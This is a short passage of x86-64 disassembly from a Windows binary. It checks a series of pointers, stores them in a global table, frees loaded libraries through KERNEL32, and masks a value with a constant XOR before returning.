cmp qword [rbp - 0x80], 0
je 0x140072dde
cmp qword [rbp - 0x78], 0
je 0x140072dde
mov rdi, qword [rbp - 0x70]
test rdi, rdi
je 0x140072dde
mov rbx, qword [rbp - 0x68]
test rbx, rbx
je 0x140072dde
mov r11, qword [rbp - 0x60]
test r11, r11
je 0x140072dde
mov r10, qword [rbp - 0x58]
test r10, r10
je 0x140072dde
mov r9, qword [rbp - 0x50]
test r9, r9
je 0x140072dde
mov rdx, qword [rbp - 0x40]
test rdx, rdx
je 0x140072dde
mov r8, qword [rbp - 0x48]
test r8, r8
je 0x140072dde
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140072dde
test r13, r13
je 0x140072dde
test r12, r12
je 0x140072dde
test r15, r15
je 0x140072dde
test r14, r14
je 0x140072dde
test rax, rax
je 0x140072dde
mov rsi, qword [rsp + 0x30]
mov qword [0x1401fe630], rsi
mov rsi, qword [rsp + 0x38]
mov qword [0x1401fe638], rsi
mov rsi, qword [rsp + 0x40]
mov qword [0x1401fe640], rsi
mov rsi, qword [rsp + 0x48]
mov qword [0x1401fe648], rsi
mov rsi, qword [rsp + 0x50]
mov qword [0x1401fe650], rsi
mov rsi, qword [rsp + 0x58]
mov qword [0x1401fe658], rsi
mov rsi, qword [rsp + 0x60]
mov qword [0x1401fe660], rsi
mov rsi, qword [rsp + 0x68]
mov qword [0x1401fe668], rsi
mov rsi, qword [rsp + 0x70]
mov qword [0x1401fe670], rsi
mov rsi, qword [rsp + 0x78]
mov qword [0x1401fe678], rsi
mov rsi, qword [rbp - 0x80]
mov qword [0x1401fe680], rsi
mov rsi, qword [rbp - 0x78]
mov qword [0x1401fe688], rsi
mov qword [0x1401fe690], rdi
mov qword [0x1401fe698], rbx
mov qword [0x1401fe6a0], r11
mov qword [0x1401fe6a8], r10
mov qword [0x1401fe6b0], r9
mov qword [0x1401fe6b8], rdx
mov qword [0x1401fe6c0], r8
mov qword [0x1401fe6c8], rcx
mov qword [0x1401fe6d0], r13
mov qword [0x1401fe6d8], r12
mov qword [0x1401fe6e0], r15
mov qword [0x1401fe6e8], r14
mov qword [0x1401fe6f0], rax
mov rcx, qword [rbp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x3e8]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x3f8]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rax, qword [rbp + 0x3e0]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x3d8]
mov qword [rcx], rax
add rsp, 0x498
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret